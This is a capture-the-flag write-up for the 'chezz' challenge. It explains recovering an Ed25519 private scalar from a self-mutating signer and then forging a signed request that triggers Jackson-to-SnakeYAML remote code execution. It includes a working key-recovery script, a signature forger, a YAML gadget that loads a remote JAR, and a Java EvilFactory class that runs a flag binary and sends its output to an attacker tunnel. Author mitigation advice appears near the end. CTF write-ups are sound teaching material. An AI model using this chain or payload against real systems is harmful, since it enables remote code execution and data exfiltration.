TISCDCSG{w4s_th15_m0r3_c0mpl3x_th4n_r3dst0n3?}
chezzis a Spring Boot chess game that signs every game state with Ed25519 and rejects any unsigned mutation. The signer is intentionally broken: after every call,Signer.signBytesoverwrites its own private scalar with the second half of the signature it just emitted (§3). Sign the same message twice and the math recovers the original signing scalar in closed form (§4).- Producing two signatures over the same message requires reaching
POST /api/game/subscribe, which is gated by three consecutive checkmate wins, the third forced into the Bongcloud opening (e2e4, e1e2). Stockfish steers games 1 and 2 onto the same mate FEN, so the savefile loop signs that FEN twice with mutated scalars — exactly the oracle the recovery needs (§5). - The challenge ships a custom OpenJDK 25 ("ChezzJDK Funtime Environment") that strips every safety check out of
TemplatesImpland promotesRuntime.exec(String,String[])to a static method. Both are red herrings: every classic ysoserial-style chain that touches those primitives ends up blocked or unreachable from plain Jackson deserialization (§6). - The real RCE gadget is non-JNDI:
org.springframework.beans.factory.config.YamlMapFactoryBeanwithsingleton=false. Jackson populates the bean's setters from JSON; when the response state is re-serialized, Jackson callsgetObject();YamlMapFactoryBean.createMap()fetches attacker-controlled YAML over HTTP and asks SnakeYAML to parse it under a whitelist we also control viasupportedTypes(§7). - The YAML body uses the textbook SnakeYAML construction chain
!!javax.script.ScriptEngineManager [[!!java.net.URLClassLoader [[!!java.net.URL ["…"]]]]].ScriptEngineManager(URLClassLoader)runsServiceLoader<ScriptEngineFactory>against the attacker JAR, instantiatespoc.EvilFactory, which executes/read_flagin its constructor and HTTP-leaks the output back over the same tunnel (§8). - The single forged
POST /api/game/moverequest carries the YAML gadget insettings.probe, signed under the recovered scalar. The flag arrives as a query parameter on the HTTP server log (§9).
The flag string spells the lesson: this was solved end-to-end with bog-standard Spring/SnakeYAML primitives, not with any of the redstone-looking JDK plumbing the challenge ostentatiously broke.
The challenge ships a single Spring Boot fat-jar plus a custom OpenJDK 25 build. Three routes are exposed:
| Method | Path | Purpose |
|---|---|---|
POST |
/api/game/new |
Start a new game; optionally chains to a prior signed mated state via previousState / previousSignature. Returns {state, signature, publicKey}. |
POST |
/api/game/move |
Apply a move to a signed state. Verifies the signature, deserializes the state, asks the engine for a reply, returns a freshly signed next state. |
POST |
/api/game/subscribe |
Walks the previousGame chain, verifies every link is a white-checkmate state, requires ≥3 wins, then re-signs every FEN in the chain and returns them as a savefile. |
The third game in the chain is constrained by GameService.makeMove to play e2e4, e1e2 (the Bongcloud opening). Beyond that the engine is just chesslib driven by an external HTTP service (CHESS_ENGINE_URL); on the deployed target this is the in-pod http://127.0.0.1:5000 that the public app speaks to but never exposes. Nothing else of note is reachable.
The unpacked archive lives under /workspace/artifacts/unpack/chezz/chezz/. The patch at patches/001-chezzjdk.patch is what builds the custom JDK; the public host is http://chals.tisc-dc26.csit-events.sg:15623.
The whole exploit surface flows through one Spring service:
// src/main/java/com/chezz/service/StateSerializer.java
public StateSerializer() {
this.stateMapper = new ObjectMapper();
BasicPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
.allowIfBaseType(Object.class)
.build();
this.stateMapper.activateDefaultTyping(
ptv,
ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE,
JsonTypeInfo.As.PROPERTY);
// ...
}Translation: any field whose declared type is Object (or non-concrete) accepts a @class discriminator nominating any concrete class on the classpath. GameState.settings is exactly such a field — a HashMap<String, Object> — so the polymorphic slot is wide open. The bound is only "must be a subtype of Object", which is nothing.
This would be a textbook Jackson RCE the moment we control the input… except every input is signature-verified before it reaches stateMapper.readValue. So the prerequisite for everything else is breaking the signer.
// src/main/java/com/chezz/service/Signer.java (abridged)
public final class Signer {
private final EdDSAParameterSpec p;
private final GroupElement A;
private final EdDSAPublicKey pub;
private final byte[] x = new byte[64]; // [a (32) | h[32..64] (32)]
Signer(EdDSAParameterSpec p, GroupElement A, EdDSAPublicKey pub, byte[] h, byte[] a) {
System.arraycopy(a, 0, x, 0, 32);
System.arraycopy(h, 32, x, 32, 32);
}
public byte[] signBytes(byte[] m) {
var b = ByteBuffer.wrap(x);
var aV = b.duplicate(); aV.position(0);
var hV = b.duplicate(); hV.position(32);
byte[] a = new byte[32], h = new byte[64];
aV.get(a);
hV.get(h, 32, 32);
var sk = new EdDSAPrivateKey(new EdDSAPrivateKeySpec(null, h, a, A, p));
var e = new EdDSAEngine(MessageDigest.getInstance("SHA-512"));
e.initSign(sk); e.update(m);
byte[] sig = e.sign();
var w = b.duplicate(); w.position(0);
w.put(sig, 32, 32); // <-- THE BUG
return sig;
}
}signBytes reads its 32-byte scalar from x[0..32], signs, then writes the lower half of the signature back into x[0..32]. The Ed25519 signature is the pair (R, S) where S = r + k·a mod L; sig[32..64] is S as a 32-byte little-endian integer. Every subsequent call uses a scalar derived directly from the previous signature.
Critically, h[32..64] — the half used to derive the per-message nonce r = H(h_prefix ‖ m) — is not touched. So if we get the same Signer instance to sign the same message twice, both calls produce the same r, hence the same R, hence the same k = H(R ‖ A ‖ m). The only thing that differs between the two signatures is the scalar.
This is exactly the shape of an Ed25519 nonce-reuse equation, only here the "second key" is not random — it is the first signature itself.
Let m be the repeated message, a₁ the original scalar, a₂ = S₁ (interpreted as scalar) the post-mutation scalar, r = H(h_prefix ‖ m), k = H(R ‖ A ‖ m). Both signatures share R. Then:
S₁ = r + k · a₁ (mod L)
S₂ = r + k · a₂ = r + k · S₁ (mod L)
Two equations, two unknowns. Subtract:
r = (S₂ − k·S₁) mod L
a₁ = (S₁ − r) · k⁻¹ mod L
The recovery is one line of Python:
import base64, hashlib, json, urllib.request
L = 2**252 + 27742317777372353535851937790883648493
def b64sig(s):
raw = base64.b64decode(s)
return raw[:32], int.from_bytes(raw[32:], 'little')
def Hint(R, A, m):
return int.from_bytes(hashlib.sha512(R + A + m).digest(), 'little') % L
sf = json.load(open('savefile.json'))
f1, s1 = sf['fens'][0].rsplit(':', 1)
f2, s2 = sf['fens'][1].rsplit(':', 1)
assert f1 == f2
A = bytes.fromhex(json.load(urllib.request.urlopen(
'http://chals.tisc-dc26.csit-events.sg:15623/api/game/new',
b'{}'))['publicKey'])
R1, S1 = b64sig(s1)
R2, S2 = b64sig(s2)
assert R1 == R2
k = Hint(R1, A, f1.encode())
r = (S2 - k*S1) % L
a = ((S1 - r) * pow(k, -1, L)) % L
print('a =', a)
print('pub =', A.hex())Recovered material from the live service:
a = 1925433995194954513162264910796210310098568187925813981828726710019143876820
pub = df89f1669c5dfbd9b06968f3d6d7d51bcddf09e3e98ac6744dadc45cafca366f
a is the unclamped Ed25519 scalar. From here, signing any state we like is one crypto_scalarmult_ed25519_base_noclamp and one SHA-512 away.
The only entry point that hands out two signatures over the same input is generateSavefile:
// GameService.generateSavefile (abridged)
Signer signer = signingService.createSigner();
if (!signer.verify(stateJson, signature)) throw ...;
// walk the previousGame chain, collect FENs
List<String> fens = ...;
if (fens.size() < 3) throw new IllegalArgumentException("At least 3 wins required");
Collections.reverse(fens);
List<String> entries = new ArrayList<>();
for (String fen : fens) {
String fenSig = signer.sign(fen); // <-- reuses same Signer
entries.add(fen + ":" + fenSig);
}The loop calls signer.sign(fen) once per game on a single Signer instance, so the mutation in §3 fires between calls. To turn this into a "sign the same message twice" oracle, games 1 and 2 must end on the same FEN — that means the same mate position from the same starting board.
Stockfish handles this trivially. The local harness play_three.py runs three games against the deployed /api/game/move, replaying a recorded mating line for games 1 and 2 (so the FEN at the moment of checkmate is byte-identical) and computing a fresh mate for game 3 from the Bongcloud-constrained start. The chain is then submitted to /api/game/subscribe, which returns:
{"fens": [
"FEN_MATE_1:<sig over FEN_MATE_1, using a₁>",
"FEN_MATE_1:<sig over FEN_MATE_1, using a₂=S₁>",
"FEN_MATE_3:<sig over FEN_MATE_3, using a₃=S₂>"
]}Verifying these against the public key:
| entry | verifies? |
|---|---|
| 1 | yes |
| 2 | no |
| 3 | no |
The "broken" signatures are exactly the leak. Plug entries 1 and 2 into §4 and we have a₁.
Reading the JDK patch first makes you reach for all the wrong gadgets. The patch (patches/001-chezzjdk.patch) does three things:
- Strips every protection out of
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl. Protected gadget methods are replaced withthrow new UnsupportedOperationException(). The class is still on the classpath, but using it crashes immediately — the chain is dead, not enabled. - Promotes
Runtime.exec(String, String[])to a static method, removing the need for aRuntimeinstance. This is real, but reaching it from pure Jackson deserialization still requires a getter or setter chain that ends up callingexec, which the classpath does not obviously expose. - Re-brands as "ChezzJDK Funtime Environment". Cosmetic.
Routes attempted and abandoned, with their reason for death:
TemplatesImpldirect chain. Bricked by the patch itself;defineTransletClassesthrowsUnsupportedOperationException. The protections look "removed", but the methods needed to drive the chain are removed with them.java.beans.Expression/Statement. Triggers on serialization on stock JDK 17, but Jackson deserialization ofExpressionneedsjava.desktop/java.beansto be open —IllegalAccessExceptionin our local repro. The custom JDK 25 doesn't change that.UrlResource(file:...). Works as an arbitrary file-read (getInputStream/getContentAsString) viaEncodedResource./read_flagis ownedroot:flagwith mode2750(SGID), so a read doesn't help; we need execution. Also the same getter walksgetURL/getFile, and HTTP URLs throw on thefilegetter before serialization completes, killing the HTTP variant.MethodInvokingBean/MethodInvokingFactoryBean. Both requireprepare()to have been called, andprepare()only runs inafterPropertiesSet()— Spring lifecycle, not Jackson. Confirmed locally: Jackson hitsMethodInvokingFactoryBean[\"object\"]and throwsFactoryBeanNotInitializedExceptionlong before any invocation happens.- Tomcat /
SimpleJndiBeanFactoryJNDI composition. A nestedObjectFactoryCreatingFactoryBean → StaticListableBeanFactory → SimpleJndiBeanFactorychain does perform aContext.lookupfrom a single Jackson getter walk. The local repro hits an LDAP listener cleanly. But the standardLdapAttribute → BeanFactoryJNDI Reference path needs eitherBeanFactory(com.sun.jndi.ldap.LdapAttributereference factory) chained to a class fetch via a remote codebase — and the runtime classpath does not include the required TomcatBeanFactory. Killed pre-flight. wins-dependent engine quirks. InternalGET /healthis the only thing the hidden engine answers;wins=0..2000brute force returned the samee7e5from the start position. No hidden branch.
None of the above use Runtime.exec. That's the giveaway: the JDK patch is a distraction, not the bridge. The intended chain doesn't dereference Runtime at all — it loads a JAR and lets the JVM run a fresh class's constructor for us.
The one Spring class on the chezz classpath that turns plain-Jackson population into network-fetching action during ordinary getter walking is org.springframework.beans.factory.config.YamlMapFactoryBean:
// spring-beans 6.2.16
public class YamlMapFactoryBean extends YamlProcessor implements FactoryBean<Map<String,Object>>, InitializingBean {
private boolean singleton = true;
private @Nullable Map<String,Object> map;
public void setSingleton(boolean singleton) { this.singleton = singleton; }
public void afterPropertiesSet() {
if (isSingleton()) this.map = createMap();
}
public Map<String,Object> getObject() {
return (this.map != null ? this.map : createMap());
}
protected Map<String,Object> createMap() {
Map<String,Object> result = new LinkedHashMap<>();
process((properties, map) -> result.putAll(map));
return result;
}
}The relevant properties — resources, supportedTypes, singleton — are all bog-standard JavaBean setters inherited from YamlProcessor, so Jackson populates them happily through OBJECT_AND_NON_CONCRETE typing. With singleton=false, afterPropertiesSet() is a no-op (which is fine — Jackson never calls it), and the first invocation of the bean's getObject() getter triggers createMap(), which:
- Pulls each
org.springframework.core.io.UrlResourceout ofresources, opens an HTTP connection, reads the YAML body. - Hands the body to a SnakeYAML
Yamlinstance constructed with oursupportedTypeswhitelist. - SnakeYAML's
SafeConstructoris overridden to allow any class named insupportedTypes. We get to set that list.
So we control three knobs:
resources— an attacker-hosted HTTPS URL, expressed as a wrapper-array because of polymorphic typing:[["org.springframework.core.io.UrlResource", "https://attacker/payload.yaml"]]supportedTypes— the SnakeYAML whitelist. We populate it with the classes used by the SnakeYAML deserialization chain:["javax.script.ScriptEngineManager", "java.net.URLClassLoader", "java.net.URL"]singleton— set tofalseso creation is lazy and runs throughgetObject()rather than failing in init.
What does Jackson actually do with this during a POST /api/game/move? MoveController returns the next signed state, and StateSerializer.serialize(gameState) calls writeValueAsString, which walks every getter on gameState.settings's values. Walking our YamlMapFactoryBean's object getter (FactoryBean.getObject()) is what fires the chain. We don't even need a special trigger endpoint — every /api/game/move response re-serialises the state.
The bean trigger is the first half. The second half is what the YAML actually says.
This is the classic SnakeYAML constructor chain, re-enabled because we got to whitelist its classes ourselves:
trigger: !!javax.script.ScriptEngineManager
- !!java.net.URLClassLoader
- - !!java.net.URL
- "https://yrldq-46-101-103-242.a.free.pinggy.link/provider/build/jar/evil-engine.jar"What SnakeYAML does with that, in order:
- Construct a
java.net.URL("https://…/evil-engine.jar"). - Construct
java.net.URLClassLoader(new URL[]{ that }). - Construct
javax.script.ScriptEngineManager(URLClassLoader). Its constructor runsServiceLoader.load(ScriptEngineFactory.class, classLoader)against our class loader, which fetches our JAR over HTTPS and inspectsMETA-INF/services/javax.script.ScriptEngineFactory.
Our JAR ships exactly that service descriptor pointing at poc.EvilFactory. ServiceLoader instantiates the class, and the constructor body of poc.EvilFactory is where the RCE actually happens:
// artifacts/repros/yaml-rce/provider/src/poc/EvilFactory.java
package poc;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.*;
import java.net.*;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.List;
public class EvilFactory implements ScriptEngineFactory {
public EvilFactory() {
try {
String value = runFlagReader();
callbackOrMark(value);
} catch (IOException e) { throw new RuntimeException(e); }
}
private static String runFlagReader() throws IOException {
Path bin = Path.of("/read_flag");
if (!Files.isExecutable(bin)) return "loaded";
Process p = new ProcessBuilder(bin.toString()).start();
try (BufferedReader br = new BufferedReader(
new InputStreamReader(p.getInputStream(), StandardCharsets.UTF_8))) {
String line = br.readLine();
return line == null ? "empty" : line.trim();
}
}
private static void callbackOrMark(String value) throws IOException {
URI src = URI.create(EvilFactory.class.getProtectionDomain()
.getCodeSource().getLocation().toString());
if ("http".equalsIgnoreCase(src.getScheme())
|| "https".equalsIgnoreCase(src.getScheme())) {
String base = src.toString();
base = base.substring(0, base.lastIndexOf('/'));
String leak = base + "/leak?d="
+ URLEncoder.encode(value, StandardCharsets.UTF_8);
HttpURLConnection c =
(HttpURLConnection) URI.create(leak).toURL().openConnection();
c.setConnectTimeout(5000); c.setReadTimeout(5000);
c.getResponseCode(); c.disconnect();
return;
}
Files.writeString(Path.of("/tmp/yaml-script-engine-marker"), value + "\n");
}
// ... ScriptEngineFactory stubs (return "evil", null, etc.)
}Two niceties about doing the work in the constructor:
ServiceLoaderinstantiates every listed factory before deciding which engine to use, so our constructor runs unconditionally — even though it never returns a usable engine andScriptEngineManager.getEngineByName(...)is never called.- We learn our own delivery URL from
ProtectionDomain.getCodeSource()and derive the callback URL from it, so the exact pinggy hostname is not baked in.
Build the provider JAR:
javac -d build/classes src/poc/EvilFactory.java
cp -r src/META-INF build/classes/
jar cf build/jar/evil-engine.jar -C build/classes .Stage the YAML and JAR on a local HTTP server and expose it via a Pinggy reverse-SSH tunnel:
python3 -m http.server 8000 &
ssh -p 443 -o StrictHostKeyChecking=no -o ServerAliveInterval=30 \
-R0:localhost:8000 a.pinggy.io
# -> https://yrldq-46-101-103-242.a.free.pinggy.linkBuild the settings.probe payload as a polymorphic JSON object:
import json
SETTINGS = {
"probe": {
"@class": "org.springframework.beans.factory.config.YamlMapFactoryBean",
"singleton": False,
"resources": [[
"org.springframework.core.io.UrlResource",
"https://yrldq-46-101-103-242.a.free.pinggy.link/payload-remote.yaml"
]],
"supportedTypes": [
"javax.script.ScriptEngineManager",
"java.net.URLClassLoader",
"java.net.URL"
]
}
}
print(json.dumps(SETTINGS, separators=(',', ':')))Wrap that as a GameState, sign it with the recovered scalar, and POST to /api/game/move. The signer driver uses pynacl's crypto_scalarmult_ed25519_base_noclamp on the recovered a to compute A (matches the published public key), then signs state exactly as the server's EdDSAEngine does:
# forge_move.py (sketch)
import base64, hashlib, json, os, requests
from nacl.bindings import crypto_scalarmult_ed25519_base_noclamp
L = 2**252 + 27742317777372353535851937790883648493
H = lambda b: hashlib.sha512(b).digest()
def sign(msg: bytes, a: int, A: bytes):
r = int.from_bytes(os.urandom(64), 'little') % L
R = crypto_scalarmult_ed25519_base_noclamp(r.to_bytes(32, 'little'))
k = int.from_bytes(H(R + A + msg), 'little') % L
S = (r + k * a) % L
return R + S.to_bytes(32, 'little')
state = json.dumps({
"fen": "rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1",
"settings": SETTINGS,
}, separators=(',', ':'))
sig = base64.b64encode(sign(state.encode(), A_INT, A_BYTES)).decode()
r = requests.post(
"http://chals.tisc-dc26.csit-events.sg:15623/api/game/move",
json={"state": state, "signature": sig, "move": "e2e4"})
print(r.status_code, r.text[:200])The HTTP server log captures the full chain on the wire:
127.0.0.1 - - [27/Mar/2026 20:24:01] "GET /payload-remote.yaml HTTP/1.1" 200 -
127.0.0.1 - - [27/Mar/2026 20:24:01] "GET /provider/build/jar/evil-engine.jar HTTP/1.1" 200 -
127.0.0.1 - - [27/Mar/2026 20:24:02] "GET /leak?d=TISCDCSG%7Bw4s_th15_m0r3_c0mpl3x_th4n_r3dst0n3%3F%7D HTTP/1.1" 200 -
URL-decoded:
TISCDCSG{w4s_th15_m0r3_c0mpl3x_th4n_r3dst0n3?}
- The Stockfish 3-win chain with games 1 and 2 mating on the same FEN. Without two signatures over the same message there is no shared
R, no sharedk, no algebra. A naive 3-win chain with three different mating positions yields three signatures over three different messages and leaks nothing. singleton=falseon theYamlMapFactoryBean. Withsingleton=true,afterPropertiesSet()(which Jackson never calls) is the only entry tocreateMap()—getObject()returns the cachedmapfield, which isnull, and Jackson serialises that as a JSONnull. Settingsingleton=falsemakes everygetObject()call re-run the YAML fetch, which is what the serializer reaches naturally.UrlResourcewrapped as a polymorphicResourceelement.YamlProcessoracceptsResource[]; Jackson populates it via default typing if and only if each element ships its own@class. The list-of-[type, url]pairs is the Jackson polymorphic-array notation; a flat string fails.supportedTypeslisting all three SnakeYAML targets. SnakeYAML uses a strict per-tag whitelist by default; withoutScriptEngineManager,URLClassLoader, andURLin the list, every!!tag in the YAML throws. The Spring author exposed this knob explicitly to support typed YAML, and it doubles as a SnakeYAML-deserialisation enabler when the deserialiser is attacker-controlled.- The provider JAR's
META-INF/services/javax.script.ScriptEngineFactory.ScriptEngineManager's constructor iterates viaServiceLoader<ScriptEngineFactory>, which is the only path that instantiates classes from the loaded JAR without us already having a reference. A naive JAR without that service file loads but never runs anything in the constructor. - Constructor side-effects, not engine methods.
ServiceLoaderinstantiates every listed factory; nothing else in the chain ever calls our engine. Putting the RCE inEvilFactory.<init>is the only thing that fires. - Pinggy (or any public HTTP host).
URLClassLoaderrequires a fetchable URL; the in-pod app has outbound HTTPS but the challenge VM has no direct path to our laptop. A reverse SSH tunnel viaa.pinggy.iois the easiest plumbing.
- A signer that mutates its own private state between calls is a 100% nonce-reuse bug in disguise. Any time you see a hand-rolled signing wrapper that writes back into its own scalar buffer (
w.put(sig, 32, 32)), look for an oracle that signs the same message twice on one instance. The recovery is two lines of Python and one modular inverse. - An ostentatious JDK patch is more often a red herring than a clue. The patch advertises
Runtime.execandTemplatesImplso loudly that you waste hours hunting chains that touch those classes. The real chain here doesn't dereference either of them. Read the patch, note what it makes possible, and then look elsewhere — the obvious primitives are usually planted. - Jackson default typing with
allowIfBaseType(Object.class)is functionallyenableDefaultTyping(). It is the exact same hazard. Any "polymorphic type validator" whose allowed-base-type isObjectprovides zero protection. - For Jackson-only gadget hunting, prefer beans whose
getObject()(or any property getter) does network I/O. Spring'sFactoryBeanfamily is full of these;YamlMapFactoryBeanandYamlPropertiesFactoryBeanare textbook because they pair a network read with a configurable deserialiser.MethodInvokingFactoryBeanlooks useful but needsprepare(), which only fires inafterPropertiesSet(). The distinction between "executes on Spring lifecycle" and "executes on plain getter call" is the one that matters. - SnakeYAML's
supportedTypesknob is a deserialisation enabler when an attacker controls it. Any Spring component that exposes both a Resource-loading mechanism and a SnakeYAML tag whitelist is a candidate gadget. The chainScriptEngineManager(URLClassLoader(URL))is the well-known constructor sequence — it exists precisely because ofServiceLoader-driven side effects in theScriptEngineManagerconstructor. - Constructor side-effects beat method-call side-effects in JDK gadget chains. A
ServiceLoader-driven instantiation gives you a constructor; you don't need a method invocation on the loaded object. This is whyScriptEngineManagerremains a perennial gadget despite years of patching elsewhere. - In a multi-stage CTF, count the primitives, not the moves. chezz had two: (a) signature forgery via repeated-message key recovery, (b) Jackson-driven
YamlMapFactoryBean→ SnakeYAML → JAR load. Every other distraction (TemplatesImpl patch, staticRuntime.exec, hidden engine on:5000, three-win chain, Bongcloud constraint,UrlResourcefile-read) is in service of getting those two primitives lined up.
- Deployment artefact paths. The published challenge tar is
chezz-6bd8b4360941dbb38f494d5578f44bae.tar.gz. The signedSignerclass,StateSerializer, andGameServicediscussed above sit underchezz/src/main/java/com/chezz/service/. The patch ischezz/patches/001-chezzjdk.patch. The Spring-Boot dependency tree resolves to Spring Framework6.2.16, Spring Boot3.5.11. - Why the third game is forced into the Bongcloud.
GameService.makeMoverequirese2e4, e1e2once the chain length reaches 3. We assumed for a long time this was a hint at "make Karpov cry", but it has no exploitation relevance — it's just there to make game 3 harder than 1 and 2, which by themselves are trivially winnable with Stockfish. - Engine on
:5000. The pod'sCHESS_ENGINE_URL=http://127.0.0.1:5000exposed onlyGET /healthto enumeration. Spending effort here is wasted: the engine has no exploit surface beyond returning moves. The signed-state forgery already gives us internalGETSSRF throughUrlResource, but noPOSTor RCE path through the engine. - Mitigation suggestions (for the challenge author). (a) Construct a fresh
Signerper call ingenerateSavefile, or use a non-mutating wrapper — the bug is a one-line scope error. (b) ReplaceallowIfBaseType(Object.class)with a real allow-list of model classes; default typing withObjectas base is equivalent to having no validator at all. (c) DisablesupportedTypessettability onYamlMapFactoryBeanvia a@JsonIgnoreor a custom deserialiser; in fact, no SpringFactoryBeanshould be reachable through application-level polymorphic typing.